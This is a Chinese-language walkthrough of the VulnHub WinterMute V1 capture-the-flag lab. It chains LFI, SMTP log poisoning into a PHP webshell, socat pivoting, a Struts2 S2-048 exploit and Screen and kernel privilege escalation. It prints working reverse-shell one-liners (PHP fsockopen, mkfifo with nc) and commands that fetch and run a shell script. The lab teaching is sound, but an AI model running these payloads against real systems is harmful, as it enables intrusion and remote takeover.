VulnHub-WinterMute-V1-靶机渗透学习
字数 1596 2025-08-15 21:33:12
VulnHub WinterMute V1 靶机渗透教学文档
靶机概述
- 靶机名称: WinterMute V1
- 难度等级: 中级(CTF)
- 主题: 赛博朋克经典Neuromancer
- 包含机器: 2台(Straylight和Neuromancer)
- 特点: 涉及数据透视和后期开发
- 要求: 仅使用默认Kali Linux工具,无缓冲区溢出利用
- 环境要求: VirtualBox(VMware不兼容)
网络拓扑
- Kali Linux: 192.168.56.3
- Straylight:
- 公共网络: 192.168.56.8
- 内部网络: 10.0.2.10
- Neuromancer: 10.0.2.8(仅内部网络)
Straylight靶机渗透
1. 信息收集
使用nmap扫描发现开放端口:
- 25 (smtp)
- 80 (http)
- 3000 (Apache Hadoop)
2. Web服务枚举
80端口:
- 发现新加载的JS文件
- 使用dirb和nikto扫描发现目录:
- /manual/images/
- /manual/style/
3000端口:
- 运行ntopng服务
- 发现反射型XSS漏洞(但无法直接获取shell)
- 发现flag敏感字眼提示
- 使用admin/admin弱口令登录成功
3. 漏洞利用
LFI漏洞发现:
- 访问/turing-bolo/目录
- 发现bolo参数存在本地文件包含漏洞:
http://192.168.56.4/turing-bolo/bolo.php?bolo=../turing-bolo/molly - 默认添加.log后缀,只能访问日志文件
利用SMTP服务:
-
构造恶意邮件:
HELO ROOT MAIL FROM: "ROOT <?php echo shell_exec($_GET['cmd']); ?>" RCPT TO: ROOT data . -
通过LFI执行命令:
http://192.168.56.8/turing-bolo/bolo.php?bolo=var/log/mail&cmd=ls -
获取交互式shell:
- 使用PHP反弹shell:
php -r '$sock=fsockopen("192.168.56.3",4444);exec("/bin/sh -i <&3 >&3 2>&3");' - URL编码后通过cmd参数执行
- 使用PHP反弹shell:
4. 权限提升
Screen 4.5.0提权:
-
查找SUID文件:
find / -perm -4000 2>/dev/null -
发现screen-4.5.0存在漏洞
-
编译并执行提权EXP:
- 上传编译好的EXP文件
- 执行获得root权限
获取flag:
- 在root目录下找到flag.txt
- 发现note.txt提示:/struts2_2.3.15.1-showcase
Neuromancer靶机渗透
1. 信息收集
IP发现:
- 使用ping扫描内部网络(10.0.2.0/24):
for i in $(seq 1 255); do if ping -c 1 -w 1 10.0.2.$i&>/dev/null; then echo "10.0.2.$i"; fi ; done - 确认Neuromancer IP: 10.0.2.8
端口扫描:
- 使用nc扫描:
nc -v -z -w2 10.0.2.8 1-65535 - 发现开放端口: 8080, 8009, 34483(ssh)
2. 端口重定向
使用socat建立端口转发:
socat TCP4-LISTEN:8080,reuseaddr,fork TCP4:10.0.2.8:8080 &
socat TCP4-LISTEN:8009,reuseaddr,fork TCP4:10.0.2.8:8009 &
socat TCP4-LISTEN:34483,reuseaddr,fork TCP4:10.0.2.8:34483 &
3. Struts2 S2-048漏洞利用
- 访问/struts2_2.3.15.1-showcase目录
- 使用公开EXP(42324)进行攻击
建立反弹shell通道:
-
Kali监听6666端口
-
Straylight建立转发:
socat TCP4-LISTEN:6666,reuseaddr,fork TCP4:192.168.56.3:6666 & -
上传反弹shell脚本:
rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.3 6666 >/tmp/f -
通过漏洞执行命令:
python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.56.8:6666/shell.sh -O /tmp/shell1.sh" python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x /tmp/shell1.sh" python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "sh /tmp/shell1.sh"
4. 权限提升
Ubuntu 16.04.4内核提权(CVE-2017-16995):
- 确认系统版本
- 在Kali上编译好EXP
- 通过socat 443端口提供下载
- 在Neuromancer上下载并执行EXP
- 获得root权限
技术总结
-
Straylight渗透路径:
- Web弱口令 → LFI漏洞 → SMTP日志注入 → PHP webshell → Screen提权
-
Neuromancer渗透路径:
- 端口转发 → Struts2 RCE → 反弹shell → 内核提权
-
关键技术点:
- 本地文件包含漏洞利用
- 服务日志注入技术
- 内部网络端口转发(socat)
- Struts2远程代码执行
- 多种提权方法(Screen SUID/内核漏洞)
-
学习要点:
- 信息收集的全面性
- 漏洞链的组合利用
- 内部网络穿透技术
- 多种提权方法的掌握
防御建议
- 及时更新服务和系统补丁
- 禁用不必要的服务和功能
- 实施严格的输入验证
- 使用最小权限原则
- 监控系统日志和异常行为
- 隔离内部网络与公共网络